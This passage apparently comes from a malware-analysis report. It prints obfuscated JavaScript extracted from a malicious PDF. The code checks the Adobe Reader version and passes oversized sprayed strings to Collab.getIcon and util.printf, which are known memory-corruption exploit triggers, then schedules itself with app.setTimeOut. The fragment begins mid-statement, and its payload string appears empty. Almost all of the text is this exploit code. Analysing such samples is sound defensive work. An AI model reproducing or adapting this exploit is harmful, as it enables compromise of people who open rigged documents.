(NqDgyCchfe >= 9 && NqDgyCchfe < 9.1) || NqDgyCchfe <= 7.101)    {      try      {        if(app.doc.Collab.getIcon)        {          V2ujwWyOGB(2);          var QLwvTQWMs3 = unescape("	");          while(QLwvTQWMs3.length < 0x4000)          {            QLwvTQWMs3 += QLwvTQWMs3;          }          QLwvTQWMs3 = "N." + QLwvTQWMs3;          var Coc91I1UnY = app;          Coc91I1UnY["doc"]["Collab"]["getIcon"](QLwvTQWMs3);          DqG74Hnf47 = 1;        }        else        {          DqG74Hnf47 = 1;        }      }      catch(e)      {        DqG74Hnf47 = 1;      }      if(DqG74Hnf47 == 1)      {        if(NqDgyCchfe == 8.102 || NqDgyCchfe == 7.1)        {          V2ujwWyOGB(1);          var uOARDSoDNt = "12999999999999999999";          for(WwEpriFO59 = 0; WwEpriFO59 < 276; WwEpriFO59++)          {            uOARDSoDNt += "8";          }          var FOx4WyLXT0 = util;          FOx4WyLXT0["printf"]("E000f", uOARDSoDNt);        }      }    } } ")); 
 app.jVXHxkjmy8 = ChrDFjzu6S;
 Euoxnu0323 = app.setTimeOut("app.jVXHxkjmy8()", 1);

Open this report in the interactive analyzer, or submit your own file for analysis.